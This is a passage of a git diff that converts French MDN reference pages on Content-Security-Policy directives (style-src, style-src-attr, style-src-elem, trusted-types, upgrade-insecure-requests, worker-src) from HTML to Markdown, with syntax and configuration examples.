Oui, si cette directive est absente, l'agent utilisateur consultera la directive {{CSP("style-src")}}, qui a pour valeur par défaut celle de la directive default-src

-
- -

Syntaxe

- -

Une ou plusieurs sources peuvent être autorisées pour cette directive :

- -
Content-Security-Policy: style-src-attr <source>;
-Content-Security-Policy: style-src-attr <source> <source>;
-
- -

style-src-attr peut être utilisée conjointement à {{CSP("style-src")}} :

- -
Content-Security-Policy: style-src <source>;
-Content-Security-Policy: style-src-attr <source>;
- -

Sources

- -

{{page("fr/Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}}

- -
-
'report-sample'
-
Requiert qu'un échantillon du code violant la directive soit inclus dans le rapport envoyé.
-
- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{specName("CSP 3.0", "#directive-style-src-attr", "style-src-attr")}}{{Spec2("CSP 3.0")}}Définition initiale.
- -

Compatibilité des navigateurs

- -

{{Compat("http.headers.csp.Content-Security-Policy.style-src-attr")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/headers/content-security-policy/style-src-attr/index.md b/files/fr/web/http/headers/content-security-policy/style-src-attr/index.md new file mode 100644 index 0000000000..efe3b11c9a --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy/style-src-attr/index.md @@ -0,0 +1,97 @@ +--- +title: 'CSP: style-src-attr' +slug: Web/HTTP/Headers/Content-Security-Policy/style-src-attr +tags: + - CSP + - Content + - Content-Security-Policy + - Directive + - HTTP + - Reference + - Security + - Style + - Sécurité + - source + - style-src + - style-src-attr +translation_of: Web/HTTP/Headers/Content-Security-Policy/style-src-attr +--- +
{{HTTPSidebar}}
+ +

La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) style-src-attr spécifie les sources valides pour des feuilles de styles appliquées à des éléments individuels du DOM par l'attribut style.

+ + + + + + + + + + + + + + + + +
Version de CSP3
Type de directive{{Glossary("Fetch directive")}}
{{CSP("default-src")}} par défaut +

Oui, si cette directive est absente, l'agent utilisateur consultera la directive {{CSP("style-src")}}, qui a pour valeur par défaut celle de la directive default-src

+
+ +

Syntaxe

+ +

Une ou plusieurs sources peuvent être autorisées pour cette directive :

+ +
Content-Security-Policy: style-src-attr <source>;
+Content-Security-Policy: style-src-attr <source> <source>;
+
+ +

style-src-attr peut être utilisée conjointement à {{CSP("style-src")}} :

+ +
Content-Security-Policy: style-src <source>;
+Content-Security-Policy: style-src-attr <source>;
+ +

Sources

+ +

{{page("fr/Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}}

+ +
+
'report-sample'
+
Requiert qu'un échantillon du code violant la directive soit inclus dans le rapport envoyé.
+
+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationStatutCommentaire
{{specName("CSP 3.0", "#directive-style-src-attr", "style-src-attr")}}{{Spec2("CSP 3.0")}}Définition initiale.
+ +

Compatibilité des navigateurs

+ +

{{Compat("http.headers.csp.Content-Security-Policy.style-src-attr")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/headers/content-security-policy/style-src-elem/index.html b/files/fr/web/http/headers/content-security-policy/style-src-elem/index.html deleted file mode 100644 index ae88af89c0..0000000000 --- a/files/fr/web/http/headers/content-security-policy/style-src-elem/index.html +++ /dev/null @@ -1,97 +0,0 @@ ---- -title: 'CSP: style-src-elem' -slug: Web/HTTP/Headers/Content-Security-Policy/style-src-elem -tags: - - CSP - - Content - - Content-Security-Policy - - Directive - - HTTP - - Reference - - Security - - Style - - Sécurité - - source - - style-src - - style-src-elem -translation_of: Web/HTTP/Headers/Content-Security-Policy/style-src-elem ---- -
{{HTTPSidebar}}
- -

La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) style-src-elem spécifie les sources valides pour les feuilles de styles embarquées avec l'élément {{HTMLElement("style")}} et pour l'élément {{HTMLElement("link")}} avec l'attribut rel="stylesheet".

- - - - - - - - - - - - - - - - -
Version de CSP3
Type de directive{{Glossary("Fetch directive")}}
{{CSP("default-src")}} par défaut -

Oui, si cette directive est absente, l'agent utilisateur consultera la directive {{CSP("style-src")}}, qui a pour valeur par défaut celle de la directive default-src

-
- -

Syntaxe

- -

Une ou plusieurs sources peuvent être autorisées pour cette directive :

- -
Content-Security-Policy: style-src-elem <source>;
-Content-Security-Policy: style-src-elem <source> <source>;
-
- -

style-src-elem peut être utilisée conjointement à {{CSP("style-src")}} :

- -
Content-Security-Policy: style-src <source>;
-Content-Security-Policy: style-src-elem <source>;
- -

Sources

- -

{{page("fr/Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}}

- -
-
'report-sample'
-
Requiert qu'un échantillon du code violant la directive soit inclus dans le rapport envoyé.
-
- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{specName("CSP 3.0", "#directive-style-src-elem", "style-src-elem")}}{{Spec2("CSP 3.0")}}Définition initiale.
- -

Compatibilité des navigateurs

- -

{{Compat("http.headers.csp.Content-Security-Policy.style-src-elem")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/headers/content-security-policy/style-src-elem/index.md b/files/fr/web/http/headers/content-security-policy/style-src-elem/index.md new file mode 100644 index 0000000000..ae88af89c0 --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy/style-src-elem/index.md @@ -0,0 +1,97 @@ +--- +title: 'CSP: style-src-elem' +slug: Web/HTTP/Headers/Content-Security-Policy/style-src-elem +tags: + - CSP + - Content + - Content-Security-Policy + - Directive + - HTTP + - Reference + - Security + - Style + - Sécurité + - source + - style-src + - style-src-elem +translation_of: Web/HTTP/Headers/Content-Security-Policy/style-src-elem +--- +
{{HTTPSidebar}}
+ +

La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) style-src-elem spécifie les sources valides pour les feuilles de styles embarquées avec l'élément {{HTMLElement("style")}} et pour l'élément {{HTMLElement("link")}} avec l'attribut rel="stylesheet".

+ + + + + + + + + + + + + + + + +
Version de CSP3
Type de directive{{Glossary("Fetch directive")}}
{{CSP("default-src")}} par défaut +

Oui, si cette directive est absente, l'agent utilisateur consultera la directive {{CSP("style-src")}}, qui a pour valeur par défaut celle de la directive default-src

+
+ +

Syntaxe

+ +

Une ou plusieurs sources peuvent être autorisées pour cette directive :

+ +
Content-Security-Policy: style-src-elem <source>;
+Content-Security-Policy: style-src-elem <source> <source>;
+
+ +

style-src-elem peut être utilisée conjointement à {{CSP("style-src")}} :

+ +
Content-Security-Policy: style-src <source>;
+Content-Security-Policy: style-src-elem <source>;
+ +

Sources

+ +

{{page("fr/Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}}

+ +
+
'report-sample'
+
Requiert qu'un échantillon du code violant la directive soit inclus dans le rapport envoyé.
+
+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationStatutCommentaire
{{specName("CSP 3.0", "#directive-style-src-elem", "style-src-elem")}}{{Spec2("CSP 3.0")}}Définition initiale.
+ +

Compatibilité des navigateurs

+ +

{{Compat("http.headers.csp.Content-Security-Policy.style-src-elem")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/headers/content-security-policy/style-src/index.html b/files/fr/web/http/headers/content-security-policy/style-src/index.html deleted file mode 100644 index a8fa19ef1c..0000000000 --- a/files/fr/web/http/headers/content-security-policy/style-src/index.html +++ /dev/null @@ -1,181 +0,0 @@ ---- -title: 'CSP: style-src' -slug: Web/HTTP/Headers/Content-Security-Policy/style-src -tags: - - CSP - - Content - - Content-Security-Policy - - Directive - - HTTP - - Reference - - Security - - Style - - Sécurité - - source - - style-src -translation_of: Web/HTTP/Headers/Content-Security-Policy/style-src ---- -
{{HTTPSidebar}}
- -

La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) style-src spécifie les sources valides pour des feuilles de style.

- - - - - - - - - - - - - - - - -
Version de CSP1
Type de directive{{Glossary("Fetch directive")}}
{{CSP("default-src")}} fallbackOui, si cette directive est absente, l'agent utilisateur consultera la directive default-src
- -

Syntaxe

- -

Une ou plusieurs sources peuvent être autorisées pour cette directive :

- -
Content-Security-Policy: style-src <source>;
-Content-Security-Policy: style-src <source> <source>;
-
- -

Sources

- -

{{page("fr/Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}}

- -

Exemples

- -

Cas de violation

- -

Soit cet en-tête CSP :

- -
Content-Security-Policy: style-src https://example.com/
- -

Ces feuilles de style seront bloquées et ne se chargeront pas :

- -
<link href="https://not-example.com/styles/main.css" rel="stylesheet" type="text/css" />
-
-<style>
-#inline-style { background: red; }
-</style>
-
-<style>
-  @import url("https://not-example.com/styles/print.css") print;
-</style>
- -

De même que les styles chargés avec l'en-tête {{HTTPHeader("Link")}} :

- -
Link: <https://not-example.com/styles/stylesheet.css>;rel=stylesheet
-
- -

Les attributes de style seront aussi bloqués :

- -
<div style="display:none">Foo</div>
- -

De même que les styles ajoutés par JavaScript en définissant l'attribut style directement, ou en définissant la propriété {{domxref("CSSStyleDeclaration.cssText", "cssText")}} :

- -
document.querySelector('div').setAttribute('style', 'display:none;');
-document.querySelector('div').style.cssText = 'display:none;';
- -

Toutefois, les propriétés de styles qui sont définies directement dans l'attribut {{domxref("HTMLElement.style", "style")}} ne seront pas bloquées, permettant aux utilisateurs de manipuler sainement les styles avec JavaScript :

- -
document.querySelector('div').style.display = 'none';
- -

Ce genre de manipulations peut être bloqué en désactivant JavaScript au moyen de la directive CSP {{CSP("script-src")}}.

- -

Styles embarqués non fiables

- -
-

Note : Bloquer les styles et scripts embarqués est l'une des stratégies de sécurité majeures que CSP propose. Toutefois, si vous en avez absolument besoin, il existe des mécanismes qui vous permettront de les autoriser.

-
- -

Vous pouvez autoriser les styles embarqués en spécifiant la valeur 'unsafe-inline', des nonces ou des hashs correspondant à la feuille de style.

- -
Content-Security-Policy: style-src 'unsafe-inline';
-
- -

Cette directive CSP autorisera toutes les feuilles de styles embarquées telles que l'élément {{HTMLElement("style")}} et l'attribut style sur tous les éléments :

- -
<style>
-#inline-style { background: red; }
-</style>
-
-<div style="display:none">Foo</div>
-
- -

Vous pouvez aussi utiliser un nonce pour autoriser spécifiquement certains éléments {{HTMLElement("style")}} :

- -
Content-Security-Policy: style-src 'nonce-2726c7f26c'
- -

Vous devrez alors définir ce nonce sur l'élément {{HTMLElement("style")}} :

- -
<style nonce="2726c7f26c">
-#inline-style { background: red; }
-</style>
- -

Autrement, vous pourrez créer des hashs à partir de vos feuilles de styles. CSP accepte les algorithmes sha256, sha384 et sha512.

- -
Content-Security-Policy: style-src 'sha256-a330698cbe9dc4ef1fb12e2ee9fc06d5d14300262fa4dc5878103ab7347e158f'
- -

Lors de la génération du hash, vous ne devez pas inclure les balises et tenir compte de la casse et des caractères blancs (espaces, retours à la ligne, etc.).

- -
<style>#inline-style { background: red; }</style>
- -

Style non fiables

- -

La valeur 'unsafe-eval' contrôle différente méthodes de mise en page qui créent des déclarations de style à partir de chaines de caractères. Si 'unsafe-eval' n'est pas spécifiée avec la directive style-src, ces méthodes seront bloquées et n'auront aucun effet :

- - - -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{specName("CSP 3.0", "#directive-style-src", "style-src")}}{{Spec2('CSP 3.0')}}Inchangé.
{{specName("CSP 1.1", "#directive-style-src", "style-src")}}{{Spec2('CSP 1.1')}}Définition initiale.
- -

Compatibilité des navigateurs

- - - -

{{Compat("http.headers.csp.Content-Security-Policy.style-src")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/headers/content-security-policy/style-src/index.md b/files/fr/web/http/headers/content-security-policy/style-src/index.md new file mode 100644 index 0000000000..a8fa19ef1c --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy/style-src/index.md @@ -0,0 +1,181 @@ +--- +title: 'CSP: style-src' +slug: Web/HTTP/Headers/Content-Security-Policy/style-src +tags: + - CSP + - Content + - Content-Security-Policy + - Directive + - HTTP + - Reference + - Security + - Style + - Sécurité + - source + - style-src +translation_of: Web/HTTP/Headers/Content-Security-Policy/style-src +--- +
{{HTTPSidebar}}
+ +

La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) style-src spécifie les sources valides pour des feuilles de style.

+ + + + + + + + + + + + + + + + +
Version de CSP1
Type de directive{{Glossary("Fetch directive")}}
{{CSP("default-src")}} fallbackOui, si cette directive est absente, l'agent utilisateur consultera la directive default-src
+ +

Syntaxe

+ +

Une ou plusieurs sources peuvent être autorisées pour cette directive :

+ +
Content-Security-Policy: style-src <source>;
+Content-Security-Policy: style-src <source> <source>;
+
+ +

Sources

+ +

{{page("fr/Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}}

+ +

Exemples

+ +

Cas de violation

+ +

Soit cet en-tête CSP :

+ +
Content-Security-Policy: style-src https://example.com/
+ +

Ces feuilles de style seront bloquées et ne se chargeront pas :

+ +
<link href="https://not-example.com/styles/main.css" rel="stylesheet" type="text/css" />
+
+<style>
+#inline-style { background: red; }
+</style>
+
+<style>
+  @import url("https://not-example.com/styles/print.css") print;
+</style>
+ +

De même que les styles chargés avec l'en-tête {{HTTPHeader("Link")}} :

+ +
Link: <https://not-example.com/styles/stylesheet.css>;rel=stylesheet
+
+ +

Les attributes de style seront aussi bloqués :

+ +
<div style="display:none">Foo</div>
+ +

De même que les styles ajoutés par JavaScript en définissant l'attribut style directement, ou en définissant la propriété {{domxref("CSSStyleDeclaration.cssText", "cssText")}} :

+ +
document.querySelector('div').setAttribute('style', 'display:none;');
+document.querySelector('div').style.cssText = 'display:none;';
+ +

Toutefois, les propriétés de styles qui sont définies directement dans l'attribut {{domxref("HTMLElement.style", "style")}} ne seront pas bloquées, permettant aux utilisateurs de manipuler sainement les styles avec JavaScript :

+ +
document.querySelector('div').style.display = 'none';
+ +

Ce genre de manipulations peut être bloqué en désactivant JavaScript au moyen de la directive CSP {{CSP("script-src")}}.

+ +

Styles embarqués non fiables

+ +
+

Note : Bloquer les styles et scripts embarqués est l'une des stratégies de sécurité majeures que CSP propose. Toutefois, si vous en avez absolument besoin, il existe des mécanismes qui vous permettront de les autoriser.

+
+ +

Vous pouvez autoriser les styles embarqués en spécifiant la valeur 'unsafe-inline', des nonces ou des hashs correspondant à la feuille de style.

+ +
Content-Security-Policy: style-src 'unsafe-inline';
+
+ +

Cette directive CSP autorisera toutes les feuilles de styles embarquées telles que l'élément {{HTMLElement("style")}} et l'attribut style sur tous les éléments :

+ +
<style>
+#inline-style { background: red; }
+</style>
+
+<div style="display:none">Foo</div>
+
+ +

Vous pouvez aussi utiliser un nonce pour autoriser spécifiquement certains éléments {{HTMLElement("style")}} :

+ +
Content-Security-Policy: style-src 'nonce-2726c7f26c'
+ +

Vous devrez alors définir ce nonce sur l'élément {{HTMLElement("style")}} :

+ +
<style nonce="2726c7f26c">
+#inline-style { background: red; }
+</style>
+ +

Autrement, vous pourrez créer des hashs à partir de vos feuilles de styles. CSP accepte les algorithmes sha256, sha384 et sha512.

+ +
Content-Security-Policy: style-src 'sha256-a330698cbe9dc4ef1fb12e2ee9fc06d5d14300262fa4dc5878103ab7347e158f'
+ +

Lors de la génération du hash, vous ne devez pas inclure les balises et tenir compte de la casse et des caractères blancs (espaces, retours à la ligne, etc.).

+ +
<style>#inline-style { background: red; }</style>
+ +

Style non fiables

+ +

La valeur 'unsafe-eval' contrôle différente méthodes de mise en page qui créent des déclarations de style à partir de chaines de caractères. Si 'unsafe-eval' n'est pas spécifiée avec la directive style-src, ces méthodes seront bloquées et n'auront aucun effet :

+ + + +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{specName("CSP 3.0", "#directive-style-src", "style-src")}}{{Spec2('CSP 3.0')}}Inchangé.
{{specName("CSP 1.1", "#directive-style-src", "style-src")}}{{Spec2('CSP 1.1')}}Définition initiale.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("http.headers.csp.Content-Security-Policy.style-src")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/headers/content-security-policy/trusted-types/index.html b/files/fr/web/http/headers/content-security-policy/trusted-types/index.html deleted file mode 100644 index f1c5d12b6d..0000000000 --- a/files/fr/web/http/headers/content-security-policy/trusted-types/index.html +++ /dev/null @@ -1,89 +0,0 @@ ---- -title: 'CSP: trusted-types' -slug: Web/HTTP/Headers/Content-Security-Policy/trusted-types -tags: - - CSP - - Content-Security-Policy - - Directive - - HTTP - - Security - - Sécurité - - source - - trusted-types -translation_of: Web/HTTP/Headers/Content-Security-Policy/trusted-types ---- -
{{HTTPSidebar}}
- -

La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) trusted-types {{experimental_inline}} informe l'agent utilisateur qu'il faut restreindre la création de règles Trusted Types (fonctions qui créent des valeurs typées non falsifiables, dans le but de les passer au puits XSS du DOM au lieu de chaines de caractères).

- -

Conjointement à la directive require-trusted-types-for, cette directive permet aux auteurs de définir des règles empêchant d'injecter des données dans le DOM et donc de réduire la fenêtre de tir pour les attaques XSS sur le DOM à quelques pans isolés de la base de code d'une application, facilitant donc son contrôle et sa relecture. Cette directive déclare une liste de permissions de noms de règles de Trusted Types créée avec TrustedTypes.createPolicy à partir de l'API Trusted Types.

- -

Syntaxe

- -
Content-Security-Policy: trusted-types;
-Content-Security-Policy: trusted-types 'none';
-Content-Security-Policy: trusted-types <policyName>;
-Content-Security-Policy: trusted-types <policyName> <policyName> 'allow-duplicates';
-
- -
-
<nomRègle>
-
Un nom de règle est composé de caractères alphanumériques ou d'un ou plusieurs "-#=_/@.%".  Une astérisque (*) comme nom de règle informe l'agent utilisateur d'autoriser tout nom de règle unique (quoique la valeur 'allow-duplicates' pourrait permettre d'être plus laxiste à l'avenir).
-
'none'
-
Interdit la création de toute règle de Trusted Type (identique au fait de ne renseigner aucun nom de règle).
-
'allow-duplicates'
-
Autorise la création de règles dont le nom a déjà été utilisé.
-
- -

Exemples

- -

Soit l'en-tête CSP :

- -
Content-Security-Policy: trusted-types foo bar 'allow-duplicates';
- -

Ce code génèrera une erreur car une des règles créées a un nom non autorisé :

- -
if (typeof trustedTypes !== 'undefined') {
-  const policyFoo = trustedTypes.createPolicy('foo', {});
-  const policyFoo2 = trustedTypes.createPolicy('foo', {});
-  const policyBaz = trustedTypes.createPolicy('baz', {}); // Throws and dispatches a SecurityPolicyViolationEvent.
-}
-
- -

Prothèse d'émulation

- -

Un prothèse d'émulation pour les Trusted Types est disponible sur Github.

- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationStatutCommentaire
Trusted TypesDraftDéfinition initiale.
- -

Compatibilité des navigateurs

- - - -

{{Compat("http.headers.csp.Content-Security-Policy.trusted-types")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/headers/content-security-policy/trusted-types/index.md b/files/fr/web/http/headers/content-security-policy/trusted-types/index.md new file mode 100644 index 0000000000..f1c5d12b6d --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy/trusted-types/index.md @@ -0,0 +1,89 @@ +--- +title: 'CSP: trusted-types' +slug: Web/HTTP/Headers/Content-Security-Policy/trusted-types +tags: + - CSP + - Content-Security-Policy + - Directive + - HTTP + - Security + - Sécurité + - source + - trusted-types +translation_of: Web/HTTP/Headers/Content-Security-Policy/trusted-types +--- +
{{HTTPSidebar}}
+ +

La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) trusted-types {{experimental_inline}} informe l'agent utilisateur qu'il faut restreindre la création de règles Trusted Types (fonctions qui créent des valeurs typées non falsifiables, dans le but de les passer au puits XSS du DOM au lieu de chaines de caractères).

+ +

Conjointement à la directive require-trusted-types-for, cette directive permet aux auteurs de définir des règles empêchant d'injecter des données dans le DOM et donc de réduire la fenêtre de tir pour les attaques XSS sur le DOM à quelques pans isolés de la base de code d'une application, facilitant donc son contrôle et sa relecture. Cette directive déclare une liste de permissions de noms de règles de Trusted Types créée avec TrustedTypes.createPolicy à partir de l'API Trusted Types.

+ +

Syntaxe

+ +
Content-Security-Policy: trusted-types;
+Content-Security-Policy: trusted-types 'none';
+Content-Security-Policy: trusted-types <policyName>;
+Content-Security-Policy: trusted-types <policyName> <policyName> 'allow-duplicates';
+
+ +
+
<nomRègle>
+
Un nom de règle est composé de caractères alphanumériques ou d'un ou plusieurs "-#=_/@.%".  Une astérisque (*) comme nom de règle informe l'agent utilisateur d'autoriser tout nom de règle unique (quoique la valeur 'allow-duplicates' pourrait permettre d'être plus laxiste à l'avenir).
+
'none'
+
Interdit la création de toute règle de Trusted Type (identique au fait de ne renseigner aucun nom de règle).
+
'allow-duplicates'
+
Autorise la création de règles dont le nom a déjà été utilisé.
+
+ +

Exemples

+ +

Soit l'en-tête CSP :

+ +
Content-Security-Policy: trusted-types foo bar 'allow-duplicates';
+ +

Ce code génèrera une erreur car une des règles créées a un nom non autorisé :

+ +
if (typeof trustedTypes !== 'undefined') {
+  const policyFoo = trustedTypes.createPolicy('foo', {});
+  const policyFoo2 = trustedTypes.createPolicy('foo', {});
+  const policyBaz = trustedTypes.createPolicy('baz', {}); // Throws and dispatches a SecurityPolicyViolationEvent.
+}
+
+ +

Prothèse d'émulation

+ +

Un prothèse d'émulation pour les Trusted Types est disponible sur Github.

+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationStatutCommentaire
Trusted TypesDraftDéfinition initiale.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("http.headers.csp.Content-Security-Policy.trusted-types")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/headers/content-security-policy/upgrade-insecure-requests/index.html b/files/fr/web/http/headers/content-security-policy/upgrade-insecure-requests/index.html deleted file mode 100644 index 3b0defb999..0000000000 --- a/files/fr/web/http/headers/content-security-policy/upgrade-insecure-requests/index.html +++ /dev/null @@ -1,96 +0,0 @@ ---- -title: 'CSP: upgrade-insecure-requests' -slug: Web/HTTP/Headers/Content-Security-Policy/upgrade-insecure-requests -tags: - - CSP - - Content-Security-Policy - - Directive - - HTTP - - Reference - - Security - - Sécurité - - Upgrade - - request - - requête - - upgrade-insecure-requests -translation_of: Web/HTTP/Headers/Content-Security-Policy/upgrade-insecure-requests ---- -
{{HTTPSidebar}}
- -

La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) upgrade-insecure-requests informe l'agent utilisateur de traiter toutes les URL non sécurisées d'un site (servies avec HTTP) comme si elles avaient été remplacées par des URL sécurisées (servies avec HTTPS). Cette directive est prévue pour les sites web ayant un grand nombre d'URL non sécurisées héritées du passé et qui ont besoin d'être récrites.

- -
-

Note : La directive upgrade-insecure-requests est évaluée avant la directive {{CSP("block-all-mixed-content")}} et si cette elle est définie, cette dernière est effectivement ignorée. Il est recommendé de ne définir que l'une des deux directives mais non les deux, à moins que vous souhaitiez forcer HTTPS sur les anciens navigateurs qui ne le font pas après une redirection vers HTTP.

-
- -

The upgrade-insecure-requests directive will not ensure that users visiting your site via links on third-party sites will be upgraded to HTTPS for the top-level navigation and thus does not replace the {{HTTPHeader("Strict-Transport-Security")}} ({{Glossary("HSTS")}}) header, which should still be set with an appropriate max-age to ensure that users are not subject to SSL stripping attacks.

- -

Syntaxe

- -
Content-Security-Policy: upgrade-insecure-requests;
- -

Exemples

- -

Soit cet en-tête CSP :

- -
Content-Security-Policy: upgrade-insecure-requests;
-
- -

Et cette balise meta :

- -
<meta http-equiv="Content-Security-Policy" content="upgrade-insecure-requests">
- -

Avec cet en-tête défini sur le domaine example.com voulant migrer d'HTTP à HTTPS, les requêtes pour des ressources non sécurisées et non navigationnelles sont automatiquement converties (qu'elles soient internes ou externes).

- -
<img src="http://example.com/image.png">
-<img src="http://not-example.com/image.png">
- -

Ces URL seront récrites avant que la requête soit envoyée, signifiant qu'aucune requête non sécurisée ne sera envoyée. Notez que si la ressource demandée n'est pas actuellement disponible via HTTPS, la requête échouera sans se rabattre sur HTTP.

- -
<img src="https://example.com/image.png">
-<img src="https://not-example.com/image.png">
- -

Les conversions navigationnelles vers des ressources externes amènent un risque significatif  de dysfonctionnement étant donné que des requêtes peuvent n'être pas converties, par exemple celles-ci :

- -
<a href="https://example.com/">Home</a>
-<a href="http://not-example.com/">Home</a>
- -

Identifier des requêtes non sécurisées

- -

À l'aide de l'en-tête {{HTTPHeader("Content-Security-Policy-Report-Only")}} et de la directive {{CSP("report-uri")}}, vous pouvez mettre en place une stratégie de rapportage de violations sans bloquage conjointement à une stratégie de conversion comme :

- -
Content-Security-Policy: upgrade-insecure-requests; default-src https:
-Content-Security-Policy-Report-Only: default-src https:; report-uri /endpoint
- -

De cette manière, vous convertirez toujours les requêtes non sécurisées sur votre site sécurisé mais la stratégie de rapportage identifiera les requêtes non sécurisées et les rapportera à l'adresse fournie.

- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{specName("Upgrade Insecure Requests", "#delivery", "upgrade-insecure-requests")}}{{Spec2('Upgrade Insecure Requests')}}Définition initiale.
- -

Compatibilité des navigateurs

- -

{{Compat("http.headers.csp.Content-Security-Policy.upgrade-insecure-requests")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/headers/content-security-policy/upgrade-insecure-requests/index.md b/files/fr/web/http/headers/content-security-policy/upgrade-insecure-requests/index.md new file mode 100644 index 0000000000..3b0defb999 --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy/upgrade-insecure-requests/index.md @@ -0,0 +1,96 @@ +--- +title: 'CSP: upgrade-insecure-requests' +slug: Web/HTTP/Headers/Content-Security-Policy/upgrade-insecure-requests +tags: + - CSP + - Content-Security-Policy + - Directive + - HTTP + - Reference + - Security + - Sécurité + - Upgrade + - request + - requête + - upgrade-insecure-requests +translation_of: Web/HTTP/Headers/Content-Security-Policy/upgrade-insecure-requests +--- +
{{HTTPSidebar}}
+ +

La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) upgrade-insecure-requests informe l'agent utilisateur de traiter toutes les URL non sécurisées d'un site (servies avec HTTP) comme si elles avaient été remplacées par des URL sécurisées (servies avec HTTPS). Cette directive est prévue pour les sites web ayant un grand nombre d'URL non sécurisées héritées du passé et qui ont besoin d'être récrites.

+ +
+

Note : La directive upgrade-insecure-requests est évaluée avant la directive {{CSP("block-all-mixed-content")}} et si cette elle est définie, cette dernière est effectivement ignorée. Il est recommendé de ne définir que l'une des deux directives mais non les deux, à moins que vous souhaitiez forcer HTTPS sur les anciens navigateurs qui ne le font pas après une redirection vers HTTP.

+
+ +

The upgrade-insecure-requests directive will not ensure that users visiting your site via links on third-party sites will be upgraded to HTTPS for the top-level navigation and thus does not replace the {{HTTPHeader("Strict-Transport-Security")}} ({{Glossary("HSTS")}}) header, which should still be set with an appropriate max-age to ensure that users are not subject to SSL stripping attacks.

+ +

Syntaxe

+ +
Content-Security-Policy: upgrade-insecure-requests;
+ +

Exemples

+ +

Soit cet en-tête CSP :

+ +
Content-Security-Policy: upgrade-insecure-requests;
+
+ +

Et cette balise meta :

+ +
<meta http-equiv="Content-Security-Policy" content="upgrade-insecure-requests">
+ +

Avec cet en-tête défini sur le domaine example.com voulant migrer d'HTTP à HTTPS, les requêtes pour des ressources non sécurisées et non navigationnelles sont automatiquement converties (qu'elles soient internes ou externes).

+ +
<img src="http://example.com/image.png">
+<img src="http://not-example.com/image.png">
+ +

Ces URL seront récrites avant que la requête soit envoyée, signifiant qu'aucune requête non sécurisée ne sera envoyée. Notez que si la ressource demandée n'est pas actuellement disponible via HTTPS, la requête échouera sans se rabattre sur HTTP.

+ +
<img src="https://example.com/image.png">
+<img src="https://not-example.com/image.png">
+ +

Les conversions navigationnelles vers des ressources externes amènent un risque significatif  de dysfonctionnement étant donné que des requêtes peuvent n'être pas converties, par exemple celles-ci :

+ +
<a href="https://example.com/">Home</a>
+<a href="http://not-example.com/">Home</a>
+ +

Identifier des requêtes non sécurisées

+ +

À l'aide de l'en-tête {{HTTPHeader("Content-Security-Policy-Report-Only")}} et de la directive {{CSP("report-uri")}}, vous pouvez mettre en place une stratégie de rapportage de violations sans bloquage conjointement à une stratégie de conversion comme :

+ +
Content-Security-Policy: upgrade-insecure-requests; default-src https:
+Content-Security-Policy-Report-Only: default-src https:; report-uri /endpoint
+ +

De cette manière, vous convertirez toujours les requêtes non sécurisées sur votre site sécurisé mais la stratégie de rapportage identifiera les requêtes non sécurisées et les rapportera à l'adresse fournie.

+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationStatutCommentaire
{{specName("Upgrade Insecure Requests", "#delivery", "upgrade-insecure-requests")}}{{Spec2('Upgrade Insecure Requests')}}Définition initiale.
+ +

Compatibilité des navigateurs

+ +

{{Compat("http.headers.csp.Content-Security-Policy.upgrade-insecure-requests")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/headers/content-security-policy/worker-src/index.html b/files/fr/web/http/headers/content-security-policy/worker-src/index.html deleted file mode 100644 index fd9ee4f21f..0000000000 --- a/files/fr/web/http/headers/content-security-policy/worker-src/index.html +++ /dev/null @@ -1,98 +0,0 @@ ---- -title: 'CSP: worker-src' -slug: Web/HTTP/Headers/Content-Security-Policy/worker-src -tags: - - CSP - - Content-Security-Policy - - Directive - - HTTP - - Reference - - Security - - Sécurité -translation_of: Web/HTTP/Headers/Content-Security-Policy/worker-src ---- -
{{HTTPSidebar}}
- -

La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) worker-src spécifie les sources valides pour les scripts {{domxref("Worker")}}, {{domxref("SharedWorker")}} et {{domxref("ServiceWorker")}}.

- - - - - - - - - - - - - - - - -
Version de CSP3
Type de directive{{Glossary("Fetch directive")}}
Valeur par défaut -

Si cette directive est absente, l'agent utilisateur consultera d'abord la directive {{CSP("child-src")}}, puis la directive {{CSP("script-src")}} et enfin la directive {{CSP("default-src")}}, concernant la gestion l'exécution des workers.

- -

Chrome 59 et plus ne consultent pas la directive {{CSP("child-src")}}.

- -

